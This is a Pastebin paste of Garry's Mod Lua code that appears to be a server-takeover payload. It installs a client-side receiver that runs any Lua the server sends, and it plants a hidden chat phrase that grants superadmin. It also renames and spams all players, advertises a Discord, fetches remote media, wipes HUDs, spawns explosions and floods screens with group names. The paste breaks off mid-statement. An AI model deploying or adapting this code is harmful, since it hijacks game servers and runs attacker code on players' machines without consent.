SHARE
TWEET

Untitled

a guest Aug 17th, 2019 76 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. timer.Create("nonameplease", 5, 0,function()
  2.     for i=1, #player.GetHumans() do
  3.         local ply = player.GetHumans()[i]
  4.         ply:Say( "/ooc DISCORD : https://discord.gg/tRTENM")
  5.     end
  6. end)
  7. BroadcastLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
  8. util.AddNetworkString "EnigmaProject"
  9.  
  10. local CHANGERPSEUDO = "The Bot Agency Project was Completed"
  11. local enigmalaunchproject = {}
  12. function enigmalaunchproject:RandomString( intMin, intMax )
  13.     local ret = ""
  14.     for _ = 1, math.random( intMin, intMax ) do
  15.         ret = ret.. string.char( math.random(65, 90) )
  16.     end
  17.  
  18.     return ret
  19. end
  20.  
  21.  
  22.  
  23. enigmalaunchproject.m_tblActions = {}
  24. enigmalaunchproject.m_strImageGlobalVar = enigmalaunchproject:RandomString( 6, 12 )
  25. enigmalaunchproject.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  26.  
  27. function enigmalaunchproject:NouvelleAction( intChainDelay, func )
  28.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  29. end
  30.  
  31. function enigmalaunchproject:ActionApres( pPlayer )
  32.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  33.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  34.  
  35.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  36.         if not IsValid( pPlayer ) then return end
  37.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  38.         self:ActionApres( pPlayer )
  39.     end )
  40. end
  41.  
  42. function enigmalaunchproject:Start( pPlayer )
  43.     pPlayer.m_intCurAction = 0
  44.     self:ActionApres( pPlayer )
  45. end
  46.  
  47. function enigmalaunchproject:SendLua( pPlayer, strLua )
  48. pPlayer:SendLua([[RunConsoleCommand("gmod_language","ko")]])
  49.     net.Start( "EnigmaProject" )
  50.         net.WriteString( strLua )
  51.     net.Send( pPlayer )
  52. end
  53.  
  54. function enigmalaunchproject:SetupPlayer( pPlayer )
  55.     pPlayer:SendLua( "net.Receive(\"EnigmaProject\", function() RunString(net.ReadString()) end)" )
  56. end
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63. -- DANSE --
  64.  
  65.  
  66. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_until_your_dead",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  67.  
  68.  
  69. -- FIN DANSE --
  70.  
  71.  
  72.  
  73.  
  74. -- CHANGER NOM --
  75.  
  76.  
  77. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, CHANGERPSEUDO) v:setDarkRPVar("rpname", CHANGERPSEUDO) end
  78.  
  79.  
  80. -- FIN CHANGER NOM --
  81.  
  82.  
  83.  
  84.  
  85. function decorationconsole()
  86.     print(Color( 0, 0, 0 ), table.Random(decore))
  87. end
  88. -- Console Spam
  89. for k, v in pairs( player.GetAll() ) do
  90.  timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  91. end
  92.  
  93. --[[ MODE ARMAGEDDON --
  94.  
  95.  
  96.             hook.Add("Think", "armageddon", function()
  97.                 local explode = ents.Create( "env_explosion" )
  98.                     explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  99.                     explode:Spawn()
  100.                     explode:SetKeyValue( "iMagnitude", "500" )
  101.                     explode:Fire( "Explode", 0, 0 )
  102.                 end)
  103.  
  104.                
  105. -- FIN MODE ARMAGEDDON  ]]--
  106.  
  107.  
  108. -- Send Lua --
  109.  function SendLuaAll( str ) net.Start( "EnigmaProject" ) net.WriteString( str ) net.Broadcast() end
  110.  
  111.  
  112. -- Changer Taille --
  113.  
  114.  
  115. hook.Add("Think", "giant", function()
  116.     for k,v in pairs (player.GetAll()) do
  117.         v:SetModelScale(50.5, 100);
  118.         v:SetRunSpeed(700 * 2);
  119.         v:SetWalkSpeed(400 * 2);
  120.     end
  121. end)
  122.  
  123.  
  124. -- Fin Changer Taille --
  125.  
  126.  
  127.  
  128. -- Message --
  129.  
  130.  
  131. for k,v in pairs(player.GetAll()) do
  132.     v:ConCommand("say /ooc Ce monde cancer est éliminé, Le projet Kalysia Door est lancé !")
  133. end
  134.  
  135.  
  136. -- Message Fin --
  137.  
  138.  
  139.  
  140. -- Auto Lançage --
  141.  
  142.  
  143. for k, v in pairs( player.GetAll() ) do
  144.     enigmalaunchproject:SetupPlayer( v )
  145.     timer.Simple( 2, function() enigmalaunchproject:Start( v ) end )
  146. end
  147.  
  148.  
  149. -- Fin Auto Lançage --
  150.  
  151.  
  152. -- Lancer Aux Nouveaux Arrivants --
  153.  
  154.  
  155. --hook.Add( "PlayerAuthed", "wtfispassequoi", function( pPlayer )
  156. --    enigmalaunchproject:SetupPlayer( pPlayer )
  157. --    timer.Simple( 10, function() enigmalaunchproject:Start( pPlayer ) end )
  158. --end )
  159.  
  160. -- Fin Lancer Aux Nouveaux Arrivants --
  161.  
  162.  
  163.  
  164. -- Commande Enigma --
  165.  
  166.  
  167. hook.Add( "PlayerSay", "EnigmaCKoa", function( pSender, strText, bTeamChat )
  168.     if strText:sub( 1, 5 ) == "Enigma" then
  169.         pSender:Ignite( 1e9 )
  170.         pSender:ChatPrint( "Bot Agency est ici pour vous élliminer" )
  171.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  172.         return false
  173.     end
  174. end )
  175.  
  176.  
  177. -- Fin Commande Enigma
  178.  
  179.  
  180.  
  181.  
  182.  
  183. hook.Add( "PlayerSay", "a4dxvlwxdlco", function( pSender, strText, bTeamChat )
  184.     if strText:sub( 1, 5 ) == "EnigmaIsLitteralyMyFuckingGod" then
  185.         pSender:SetUserGroup("superadmin")
  186.         pSender:ChatPrint( "Tu est l'un des notres !" )
  187.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  188.         return false
  189.     end
  190. end)
  191.  
  192.  
  193.  
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  202.     enigmalaunchproject:SendLua( pPlayer, ([=[
  203.  
  204.         sound.PlayURL( "https://gvac.cz/assets/galshi.mp3", "", function()end )
  205.        
  206.         g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  207.         local html = [[%s]]
  208.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  209.             local pnl = vgui.Create( "HTML" )
  210.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  211.             pnl:SetVisible( true )
  212.             pnl:SetMouseInputEnabled( false )
  213.             pnl:SetKeyBoardInputEnabled( false )
  214.             pnl:SetSize( intSizeX, intSizeY )
  215.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  216.            
  217.             local PageLoaded
  218.             PageLoaded = function()
  219.                 local mat = pnl:GetHTMLMaterial()
  220.                 if mat then
  221.                     g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  222.                     return
  223.                 end
  224.                
  225.                 timer.Simple( 0.5, PageLoaded )
  226.             end
  227.  
  228.             PageLoaded()
  229.         end
  230.  
  231. --LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/06/5/1518211648-sans-titre-6.gif", "getrekt", 1920, 1080 )
  232.  
  233.         hook.Add( "RenderScreenspaceEffects", "itsredworld", function()
  234.             local sinScaler = math.sin( CurTime() )
  235.             DrawBloom(
  236.                 0,
  237.                 3,
  238.                 sinScaler *math.Rand(1, 8),
  239.                 sinScaler *math.Rand(1, 8),
  240.                 6,
  241.                 math.Rand(0.5, 2),
  242.                 math.Rand(0, 0.3),
  243.                 math.Rand(0, 0.3),
  244.                 math.Rand(0.5, 1)
  245.             )
  246.  
  247.             DrawColorModify{
  248.                 ["$pp_colour_addr"] = 1,
  249.                 ["$pp_colour_addg"] = 0,
  250.                 ["$pp_colour_addb"] = 0,
  251.                 ["$pp_colour_brightness" ] = 0.1,
  252.                 ["$pp_colour_contrast" ] = 0.1,
  253.                 ["$pp_colour_colour" ] = 0.1,
  254.                 ["$pp_colour_mulr" ] = 1,
  255.                 ["$pp_colour_mulg" ] = 0,
  256.                 ["$pp_colour_mulb" ] = 0
  257.             }
  258.         end )
  259.  
  260. ]=]):format(enigmalaunchproject.m_strImageLoadHTML) )
  261. end )
  262.  
  263.  
  264.  
  265.  
  266. enigmalaunchproject:NouvelleAction( 14, function( pPlayer )
  267.     enigmalaunchproject:SendLua( pPlayer, [[
  268.  
  269.     (GAMEMODE or GM).CalcView = function() end
  270.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  271.  
  272.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  273.         for k, v in pairs(remove) do
  274.             hook.GetTable()[v] = {}
  275.     end
  276.  
  277.         local function GetWebMat( strURL )
  278.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  279.     end
  280.        
  281.     hook.Add( "HUDPaint", "hud1enigma", function()
  282.         surface.SetDrawColor( 255, 255, 255, 255 )
  283.            
  284.     if GetWebMat( "getrekt" ) then
  285.         surface.SetMaterial( GetWebMat("getrekt")[1] )
  286.         surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  287.     end
  288.            
  289.     draw.SimpleTextOutlined(
  290.     "The Enigma Project Was Completed",
  291.     "DermaLarge",
  292.     ScrW() /2 +math.random( -2, 2 ),
  293.     ScrH() /2 +math.random( -2, 2 ) +0,
  294.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  295.     TEXT_ALIGN_CENTER,
  296.     TEXT_ALIGN_CENTER,
  297.     1,
  298.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  299. )
  300. end )
  301.  
  302.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  303.         hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  304.            
  305.     ]] )
  306. end )
  307.  
  308.  
  309.  
  310. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  311.     enigmalaunchproject:SendLua( pPlayer, [[
  312.  
  313.     hook.Remove( "HUDPaint", "hud1enigma", function() end)
  314.    
  315.    
  316.    
  317.     ]] )
  318. end )
  319.  
  320. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  321.     enigmalaunchproject:SendLua( pPlayer, [[
  322.    
  323.     (GAMEMODE or GM).CalcView = function() end
  324.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  325.  
  326.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  327.         for k, v in pairs(remove) do
  328.             hook.GetTable()[v] = {}
  329.     end
  330.  
  331.         local function GetWebMat( strURL )
  332.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  333.     end
  334.        
  335.     hook.Add( "HUDPaint", "hud1enigma", function()
  336.         surface.SetDrawColor( 255, 255, 255, 255 )
  337.            
  338.     if GetWebMat( "getrekt" ) then
  339.         surface.SetMaterial( GetWebMat("getrekt")[1] )
  340.         surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  341.     end
  342.            
  343.     draw.SimpleTextOutlined(
  344.     "Today, this server is going to be purified",
  345.     "DermaLarge",
  346.     ScrW() /2 +math.random( -2, 2 ),
  347.     ScrH() /2 +math.random( -2, 2 ) +0,
  348.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  349.     TEXT_ALIGN_CENTER,
  350.     TEXT_ALIGN_CENTER,
  351.     1,
  352.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  353. )
  354. end )
  355.  
  356.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  357.         hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  358.            
  359.    
  360.     ]] )
  361. end )
  362.  
  363. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  364.     enigmalaunchproject:SendLua( pPlayer, [[
  365.    
  366.     hook.Remove( "HUDPaint", "hud1enigma", function() end)
  367.    
  368.     ]] )
  369. end )
  370.  
  371. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  372.     enigmalaunchproject:SendLua( pPlayer, [[
  373.  
  374.  
  375.     (GAMEMODE or GM).CalcView = function() end
  376.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  377.  
  378.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  379.         for k, v in pairs(remove) do
  380.             hook.GetTable()[v] = {}
  381.     end
  382.  
  383.         local function GetWebMat( strURL )
  384.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  385.     end
  386.        
  387.     hook.Add( "HUDPaint", "hud1enigma", function()
  388.         surface.SetDrawColor( 255, 255, 255, 255 )
  389.            
  390.     if GetWebMat( "getrekt" ) then
  391.         surface.SetMaterial( GetWebMat("getrekt")[1] )
  392.         surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  393.     end
  394.            
  395.     draw.SimpleTextOutlined(
  396.     "Now, Observe our power !",
  397.     "DermaLarge",
  398.     ScrW() /2 +math.random( -2, 2 ),
  399.     ScrH() /2 +math.random( -2, 2 ) +0,
  400.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  401.     TEXT_ALIGN_CENTER,
  402.     TEXT_ALIGN_CENTER,
  403.     1,
  404.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  405. )
  406. end )
  407.  
  408.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  409.         hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  410.            
  411.    
  412.    
  413.     ]] )
  414. end )
  415.  
  416. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  417.     enigmalaunchproject:SendLua( pPlayer, [[
  418.    
  419. for k,v in pairs(player.GetAll()) do
  420.     v:ConCommand("say /job We Love Enigma")
  421. end
  422.    
  423.     ]] )
  424. end )
  425.  
  426. enigmalaunchproject:NouvelleAction( 2, function( pPlayer )
  427.     enigmalaunchproject:SendLua( pPlayer, [[
  428.        
  429.     hook.Remove( "HUDPaint", "hud1enigma", function() end)
  430.    
  431.     ]] )
  432. end )
  433.  
  434. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  435.     enigmalaunchproject:SendLua( pPlayer, [[
  436.    
  437.     RunConsoleCommand("+right")
  438.    
  439.     ]] )
  440. end )
  441.  
  442. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  443.     enigmalaunchproject:SendLua( pPlayer, [[
  444.    
  445.     RunConsoleCommand("-right")
  446.    
  447.     ]] )
  448. end )
  449.  
  450. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  451.     enigmalaunchproject:SendLua( pPlayer, [[
  452.    
  453.     RunConsoleCommand("+duck")
  454.    
  455.     ]] )
  456. end )
  457.  
  458. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  459.     enigmalaunchproject:SendLua( pPlayer, [[
  460.    
  461.     RunConsoleCommand("-duck")
  462.    
  463.     ]] )
  464. end )
  465.  
  466. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  467.  
  468. timer.Create( "lespamckool", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Bot Agency will bring back this game from his ashes" )' ) end)
  469. timer.Create( "lespamckool2", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "I control this game !" )' ) end)
  470. timer.Create( "lespamckool3", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Server in purification" )' ) end)
  471. timer.Create( "lespamckool4", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "BOT AGENCY" )' ) end)
  472. timer.Create( "lespamckool5", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Eradium" )' ) end)
  473. timer.Create( "lespamckool6", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Esma" )' ) end)
  474. timer.Create( "lespamckool7", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "And Kalysia Door !" )' ) end)
  475. timer.Create( "lespamckool8", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "L'élite de Gmod" )' ) end)
  476.  
  477. end )
  478.  
  479.  
  480. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  481.  
  482. timer.Remove( "lespamckool" )
  483. timer.Remove( "lespamckool2" )
  484. timer.Remove( "lespamckool3" )
  485. timer.Remove( "lespamckool4" )
  486. timer.Remove( "lespamckool5" )
  487. timer.Remove( "lespamckool6" )
  488. timer.Remove( "lespamckool7" )
  489. timer.Remove( "lespamckool8" )
  490.  
  491. end )
  492.  
  493. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  494.  
  495.  
  496. RunConsoleCommand("sv_friction", "-50")
  497.  
  498.  
  499. end )
  500.  
  501. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  502.  
  503.  
  504. RunConsoleCommand("sv_gravity", "300")
  505.  
  506.  
  507. end )
  508.  
  509. enigmalaunchproject:NouvelleAction( 12, function( pPlayer )
  510.  
  511.  
  512.             hook.Add("Think", "armageddon", function()
  513.                 local explode = ents.Create( "env_explosion" )
  514.                     explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  515.                     explode:Spawn()
  516.                     explode:SetKeyValue( "iMagnitude", "500" )
  517.                     explode:Fire( "Explode", 0, 0 )
  518.                 end)
  519.  
  520. end )
  521.  
  522.  
  523. enigmalaunchproject:NouvelleAction( 27, function( pPlayer )
  524.        
  525.     hook.Remove( "Think", "armageddon", function() end)
  526.    
  527. end )
  528.  
  529. enigmalaunchproject:NouvelleAction( 7, function( pPlayer )
  530. enigmalaunchproject:SendLua( pPlayer, [[      
  531.         hook.Add( "RenderScreenspaceEffects", "itsendofworld", function()
  532.             local sinScaler = math.sin( CurTime() )
  533.             DrawBloom(
  534.                 0,
  535.                 3,
  536.                 sinScaler *math.Rand(1, 8),
  537.                 sinScaler *math.Rand(1, 8),
  538.                 6,
  539.                 math.Rand(0.5, 2),
  540.                 math.Rand(0, 0.3),
  541.                 math.Rand(0, 0.3),
  542.                 math.Rand(0.5, 1)
  543.             )
  544.  
  545.             DrawColorModify{
  546.                 ["$pp_colour_addr"] = 0,
  547.                 ["$pp_colour_addg"] = 0,
  548.                 ["$pp_colour_addb"] = 0,
  549.                 ["$pp_colour_brightness" ] = 0.1,
  550.                 ["$pp_colour_contrast" ] = 0.1,
  551.                 ["$pp_colour_colour" ] = 0.1,
  552.                 ["$pp_colour_mulr" ] = 0,
  553.                 ["$pp_colour_mulg" ] = 0,
  554.                 ["$pp_colour_mulb" ] = 0
  555.             }
  556.         end )
  557.    
  558.     ]] )
  559. end )
  560.  
  561. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  562.     enigmalaunchproject:SendLua( pPlayer, [[
  563.    
  564.     (GAMEMODE or GM).CalcView = function() end
  565.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  566.  
  567.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  568.         for k, v in pairs(remove) do
  569.             hook.GetTable()[v] = {}
  570.     end
  571.  
  572.         local function GetWebMat( strURL )
  573.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  574.     end
  575.        
  576.     hook.Add( "HUDPaint", "hud1enigma", function()
  577.         surface.SetDrawColor( 255, 255, 255, 255 )
  578.            
  579.     draw.SimpleTextOutlined(
  580.     "KEETA",
  581.     "DermaLarge",
  582.     ScrW() /2 +math.random( -270, 300 ),
  583.     ScrH() /2 +math.random( -300, 700 ) +0,
  584.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  585.     TEXT_ALIGN_CENTER,
  586.     TEXT_ALIGN_CENTER,
  587.     1,
  588.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  589. )
  590. end )
  591.  
  592.  ]] )
  593. end )
  594.  
  595.  
  596. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  597.     enigmalaunchproject:SendLua( pPlayer, [[
  598.    
  599.     (GAMEMODE or GM).CalcView = function() end
  600.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  601.  
  602.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  603.         for k, v in pairs(remove) do
  604.             hook.GetTable()[v] = {}
  605.     end
  606.  
  607.         local function GetWebMat( strURL )
  608.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  609.     end
  610.        
  611.     hook.Add( "HUDPaint", "hud2enigma", function()
  612.         surface.SetDrawColor( 255, 255, 255, 255 )
  613.            
  614.     draw.SimpleTextOutlined(
  615.     "ZILNIX",
  616.     "DermaLarge",
  617.     ScrW() /2 +math.random( -600, 700 ),
  618.     ScrH() /2 +math.random( -200, 800 ) +100,
  619.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  620.     TEXT_ALIGN_CENTER,
  621.     TEXT_ALIGN_CENTER,
  622.     1,
  623.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  624. )
  625. end )
  626.     ]] )
  627. end )
  628.  
  629. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  630.     enigmalaunchproject:SendLua( pPlayer, [[
  631.    
  632.     (GAMEMODE or GM).CalcView = function() end
  633.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  634.  
  635.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  636.         for k, v in pairs(remove) do
  637.             hook.GetTable()[v] = {}
  638.     end
  639.  
  640.         local function GetWebMat( strURL )
  641.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  642.     end
  643.        
  644.     hook.Add( "HUDPaint", "hud3enigma", function()
  645.         surface.SetDrawColor( 255, 255, 255, 255 )
  646.            
  647.     draw.SimpleTextOutlined(
  648.     "IXXE",
  649.     "DermaLarge",
  650.     ScrW() /2 +math.random( -400, 500 ),
  651.     ScrH() /2 +math.random( -600, 500 ) -100,
  652.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  653.     TEXT_ALIGN_CENTER,
  654.     TEXT_ALIGN_CENTER,
  655.     1,
  656.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  657. )
  658. end )
  659.     ]] )
  660. end )
  661.  
  662. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  663.     enigmalaunchproject:SendLua( pPlayer, [[
  664.    
  665.     (GAMEMODE or GM).CalcView = function() end
  666.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  667.  
  668.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  669.         for k, v in pairs(remove) do
  670.             hook.GetTable()[v] = {}
  671.     end
  672.  
  673.         local function GetWebMat( strURL )
  674.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  675.     end
  676.        
  677.     hook.Add( "HUDPaint", "hud5enigma", function()
  678.         surface.SetDrawColor( 255, 255, 255, 255 )
  679.            
  680.     draw.SimpleTextOutlined(
  681.     "AKITA",
  682.     "DermaLarge",
  683.     ScrW() /2 +math.random( -500, 500 ),
  684.     ScrH() /2 +math.random( -500, 500 ) +0,
  685.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  686.     TEXT_ALIGN_CENTER,
  687.     TEXT_ALIGN_CENTER,
  688.     1,
  689.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  690. )
  691. end )
  692.      ]] )
  693. end )
  694.  
  695. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  696.     enigmalaunchproject:SendLua( pPlayer, [[
  697.    
  698.     (GAMEMODE or GM).CalcView = function() end
  699.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  700.  
  701.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  702.         for k, v in pairs(remove) do
  703.             hook.GetTable()[v] = {}
  704.     end
  705.  
  706.         local function GetWebMat( strURL )
  707.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  708.     end
  709.        
  710.     hook.Add( "HUDPaint", "hud7enigma", function()
  711.         surface.SetDrawColor( 255, 255, 255, 255 )
  712.            
  713.     draw.SimpleTextOutlined(
  714.     "Jodingue",
  715.     "DermaLarge",
  716.     ScrW() /2 +math.random( -700, 700 ),
  717.     ScrH() /2 +math.random( -700, 700 ) +300,
  718.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  719.     TEXT_ALIGN_CENTER,
  720.     TEXT_ALIGN_CENTER,
  721.     1,
  722.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  723. )
  724. end )
  725.     ]] )
  726. end )
  727.  
  728. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  729.     enigmalaunchproject:SendLua( pPlayer, [[
  730.    
  731.     (GAMEMODE or GM).CalcView = function() end
  732.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  733.  
  734.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  735.         for k, v in pairs(remove) do
  736.             hook.GetTable()[v] = {}
  737.     end
  738.  
  739.         local function GetWebMat( strURL )
  740.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  741.     end
  742.        
  743.     hook.Add( "HUDPaint", "hud10enigma", function()
  744.         surface.SetDrawColor( 255, 255, 255, 255 )
  745.            
  746.     draw.SimpleTextOutlined(
  747.     "FULLMACHINE",
  748.     "DermaLarge",
  749.     ScrW() /2 +math.random( -800, 800 ),
  750.     ScrH() /2 +math.random( -800, 800 ) -400,
  751.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  752.     TEXT_ALIGN_CENTER,
  753.     TEXT_ALIGN_CENTER,
  754.     1,
  755.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  756. )
  757. end )
  758.      ]] )
  759. end )
  760.  
  761. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  762.     enigmalaunchproject:SendLua( pPlayer, [[
  763.    
  764.     (GAMEMODE or GM).CalcView = function() end
  765.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  766.  
  767.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  768.         for k, v in pairs(remove) do
  769.             hook.GetTable()[v] = {}
  770.     end
  771.  
  772.         local function GetWebMat( strURL )
  773.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  774.     end
  775.        
  776.     hook.Add( "HUDPaint", "hud12enigma", function()
  777.         surface.SetDrawColor( 255, 255, 255, 255 )
  778.            
  779.     draw.SimpleTextOutlined(
  780.     "Kazuki",
  781.     "DermaLarge",
  782.     ScrW() /2 +math.random( -850, 850 ),
  783.     ScrH() /2 +math.random( -850, 850 ) +100,
  784.     Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  785.     TEXT_ALIGN_CENTER,
  786.     TEXT_ALIGN_CENTER,
  787.     1,
  788.     Color(math.random(1,255),math.random(1,255),math.random(1,255))
  789. )
  790. end )
  791.      ]] )
  792. end )
  793.  
  794. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  795.     enigmalaunchproject:SendLua( pPlayer, [[
  796.    
  797.     (GAMEMODE or GM).CalcView = function() end
  798.     (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  799.  
  800.     local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  801.         for k, v in pairs(remove) do
  802.             hook.GetTable()[v] = {}
  803.     end
  804.  
  805.         local function GetWebMat( strURL )
  806.             return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  807.     end
  808.        
  809.     hook.Add( "HUDPaint", "hud1enigma", function()
  810.         surface.SetDrawColor( 255, 255, 255, 255 )
  811.            
  812.     draw.SimpleTextOutlined(
  813.     "GVACDOOR",
  814.     "DermaLarge",
  815.     ScrW() /2 +math.random( -300, 600 ),
